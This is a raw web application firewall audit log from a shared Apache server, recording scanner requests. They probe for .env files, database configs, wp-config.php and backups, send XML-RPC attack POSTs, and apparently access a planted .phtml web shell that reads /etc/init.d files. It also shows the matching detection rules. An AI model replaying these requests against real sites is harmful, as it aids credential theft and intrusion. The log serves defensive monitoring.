"/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/admin/.env.staging"] [unique_id "aE8d4O5gkr5NYpwyzHH3SQAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015456099828 744949 (- - -) Stopwatch2: 1750015456099828 744949; combined=1854, p1=372, p2=1369, p3=0, p4=0, p5=113, sr=93, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --261f7e70-Z-- --a92c4e07-A-- [16/Jun/2025:00:54:19.128966 +0530] aE8d4pnj7pFxi-BGHz6sUQAAAAI 185.177.72.210 45214 127.0.0.1 7081 --a92c4e07-B-- GET /:8181/public/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a92c4e07-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=44c745953d2c86e0f0bfcb9a1f8c7a3b1750015458; expires=Sun, 15 Jun 2025 20:24:18 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a92c4e07-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/public/.env"] [unique_id "aE8d4pnj7pFxi-BGHz6sUQAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015458326942 802086 (- - -) Stopwatch2: 1750015458326942 802086; combined=2451, p1=481, p2=1867, p3=0, p4=0, p5=103, sr=133, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a92c4e07-Z-- --dd00a034-A-- [16/Jun/2025:00:54:22.446585 +0530] aE8d5T6fDirgE_qJvgHJCgAAAAA 185.177.72.210 55886 127.0.0.1 7081 --dd00a034-B-- GET /:8888/app/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --dd00a034-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4418795aa266707933c473f50ee103c01750015462; expires=Sun, 15 Jun 2025 20:24:22 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --dd00a034-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/app/.env"] [unique_id "aE8d5T6fDirgE_qJvgHJCgAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015461769770 676922 (- - -) Stopwatch2: 1750015461769770 676922; combined=2006, p1=465, p2=1407, p3=0, p4=0, p5=134, sr=114, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --dd00a034-Z-- --8e22c25d-A-- [16/Jun/2025:00:54:26.473670 +0530] aE8d6Veqy5hRjKvJEAyb0gAAAAE 185.177.72.210 56072 127.0.0.1 7081 --8e22c25d-B-- GET /secure/config_backup.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8e22c25d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b127298cdab2825c93d8604698984a6f1750015466; expires=Sun, 15 Jun 2025 20:24:26 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8e22c25d-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/secure/config_backup.sql"] [unique_id "aE8d6Veqy5hRjKvJEAyb0gAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015465794114 679619 (- - -) Stopwatch2: 1750015465794114 679619; combined=1709, p1=322, p2=1295, p3=0, p4=0, p5=92, sr=89, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8e22c25d-Z-- --c07edb00-A-- [16/Jun/2025:00:54:27.962789 +0530] aE8d6iCwfN5GtQhYhHBDHQAAAAw 128.199.112.101 56100 127.0.0.1 7081 --c07edb00-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 489 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --c07edb00-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --c07edb00-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8d6iCwfN5GtQhYhHBDHQAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015466832601 1130255 (- - -) Stopwatch2: 1750015466832601 1130255; combined=2198, p1=346, p2=1488, p3=42, p4=62, p5=159, sr=99, sw=101, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c07edb00-Z-- --f596022a-A-- [16/Jun/2025:00:54:48.543952 +0530] aE8eAD3D4g1mGjVnV5KFoQAAAAY 44.205.74.196 60158 127.0.0.1 7081 --f596022a-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=//etc/init.d&viewfile=//etc/init.d/kmod HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 44.205.74.196 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot) Chrome/119.0.6045.214 Safari/537.36 Accept-Encoding: gzip,deflate --f596022a-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 3833 Connection: close Content-Type: text/html; charset=UTF-8 --f596022a-H-- Message: Warning. Matched phrase "etc/init.d" at ARGS:path. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/init.d found within ARGS:path: /etc/init.d"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Message: Warning. Matched phrase "etc/init.d" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/init.d found within ARGS:viewfile: /etc/init.d/kmod"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "etc/init.d" at ARGS:path. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/init.d found within ARGS:path: /etc/init.d"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE8eAD3D4g1mGjVnV5KFoQAAAAY"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "etc/init.d" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/init.d found within ARGS:viewfile: /etc/init.d/kmod"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE8eAD3D4g1mGjVnV5KFoQAAAAY"] Apache-Handler: application/x-httpd-php Stopwatch: 1750015488540039 3970 (- - -) Stopwatch2: 1750015488540039 3970; combined=2093, p1=381, p2=1557, p3=34, p4=33, p5=88, sr=85, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f596022a-Z-- --48cda368-A-- [16/Jun/2025:00:55:26.128749 +0530] aE8eJS7MaF0j8lD2KTIXSwAAAAM 185.177.72.210 47810 127.0.0.1 7081 --48cda368-B-- GET /staging/backend/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --48cda368-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4337c59c19f380417bd2b16ea09047b51750015525; expires=Sun, 15 Jun 2025 20:25:25 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --48cda368-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/staging/backend/.env"] [unique_id "aE8eJS7MaF0j8lD2KTIXSwAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015525412485 716329 (- - -) Stopwatch2: 1750015525412485 716329; combined=1697, p1=397, p2=1208, p3=0, p4=0, p5=91, sr=96, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --48cda368-Z-- --64b31333-A-- [16/Jun/2025:00:55:27.293471 +0530] aE8eJu5gkr5NYpwyzHH3cwAAAAg 128.199.112.101 47954 127.0.0.1 7081 --64b31333-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 488 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --64b31333-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --64b31333-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8eJu5gkr5NYpwyzHH3cwAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015526363199 930355 (- - -) Stopwatch2: 1750015526363199 930355; combined=2314, p1=354, p2=1458, p3=52, p4=93, p5=223, sr=104, sw=134, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --64b31333-Z-- --20bb9f67-A-- [16/Jun/2025:00:56:27.982924 +0530] aE8eY-5gkr5NYpwyzHH3mgAAAAg 128.199.112.101 51936 127.0.0.1 7081 --20bb9f67-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 490 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --20bb9f67-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --20bb9f67-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8eY-5gkr5NYpwyzHH3mgAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015587012598 970382 (- - -) Stopwatch2: 1750015587012598 970382; combined=2414, p1=413, p2=1592, p3=42, p4=65, p5=187, sr=122, sw=115, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --20bb9f67-Z-- --31d1fc06-A-- [16/Jun/2025:00:56:32.659325 +0530] aE8eZz3D4g1mGjVnV5KF6AAAAAY 185.177.72.210 51586 127.0.0.1 7081 --31d1fc06-B-- GET /config/db.inc HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --31d1fc06-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=cd1739e1afd44e2d5e33e8d18cbb94a51750015592; expires=Sun, 15 Jun 2025 20:26:32 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --31d1fc06-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".inc"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".inc"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/config/db.inc"] [unique_id "aE8eZz3D4g1mGjVnV5KF6AAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015591983911 675480 (- - -) Stopwatch2: 1750015591983911 675480; combined=2101, p1=512, p2=1482, p3=0, p4=0, p5=107, sr=94, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --31d1fc06-Z-- --d7f7f81f-A-- [16/Jun/2025:00:56:33.650246 +0530] aE8eaFeqy5hRjKvJEAycKAAAAAE 185.177.72.210 51662 127.0.0.1 7081 --d7f7f81f-B-- GET /pg_hba.conf HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d7f7f81f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=54a546e97b59beb1f5a8af02c70ca74c1750015593; expires=Sun, 15 Jun 2025 20:26:33 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d7f7f81f-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/pg_hba.conf"] [unique_id "aE8eaFeqy5hRjKvJEAycKAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015592990115 660195 (- - -) Stopwatch2: 1750015592990115 660195; combined=2112, p1=335, p2=1671, p3=0, p4=0, p5=105, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d7f7f81f-Z-- --d1562910-A-- [16/Jun/2025:00:56:38.533284 +0530] aE8ebXsalJN_0-_70dLvRQAAAAU 185.177.72.210 52002 127.0.0.1 7081 --d1562910-B-- GET /:9000/configura/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d1562910-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7c56cd4082a7814007fdb35b506990591750015598; expires=Sun, 15 Jun 2025 20:26:38 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d1562910-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/configura/.env"] [unique_id "aE8ebXsalJN_0-_70dLvRQAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015597887908 645439 (- - -) Stopwatch2: 1750015597887908 645439; combined=2641, p1=535, p2=2006, p3=0, p4=0, p5=99, sr=118, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d1562910-Z-- --7a437e41-A-- [16/Jun/2025:00:57:07.478121 +0530] aE8eiyCwfN5GtQhYhHBDjgAAAAw 52.169.53.85 60174 127.0.0.1 7081 --7a437e41-B-- GET /wp-config.php HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 52.169.53.85 X-Accel-Internal: /internal-nginx-static-location Connection: close --7a437e41-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.1.32 Connection: close Content-Type: text/html; charset=UTF-8 --7a437e41-H-- Message: Warning. Matched phrase "wp-config.php" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.sarainternational.ae"] [uri "/wp-config.php"] [unique_id "aE8eiyCwfN5GtQhYhHBDjgAAAAw"] Apache-Error: [file "mod_proxy_fcgi.c"] [line 896] [level 3] AH01071: Got error 'Primary script unknown' Apache-Handler: proxy:unix:/var/www/vhosts/system/sarainternational.ae/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015627475123 3043 (- - -) Stopwatch2: 1750015627475123 3043; combined=1539, p1=352, p2=1088, p3=21, p4=26, p5=52, sr=96, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7a437e41-Z-- --77e38979-A-- [16/Jun/2025:00:57:21.958086 +0530] aE8emQW_rlaNA7qLBTtDSwAAAAs 52.169.53.85 41778 127.0.0.1 7081 --77e38979-B-- GET /wp/wp-admin/includes/class-wp-filesystem-base.php.bak HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 52.169.53.85 X-Accel-Internal: /internal-nginx-static-location Connection: close --77e38979-F-- HTTP/1.1 404 Not Found Last-Modified: Wed, 04 Sep 2024 11:42:46 GMT ETag: "328-62149ac424b46" Accept-Ranges: bytes Content-Length: 808 Connection: close Content-Type: text/html --77e38979-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.sarainternational.ae|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.sarainternational.ae|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.sarainternational.ae"] [uri "/wp/wp-admin/includes/class-wp-filesystem-base.php.bak"] [unique_id "aE8emQW_rlaNA7qLBTtDSwAAAAs"] Stopwatch: 1750015641954935 3201 (- - -) Stopwatch2: 1750015641954935 3201; 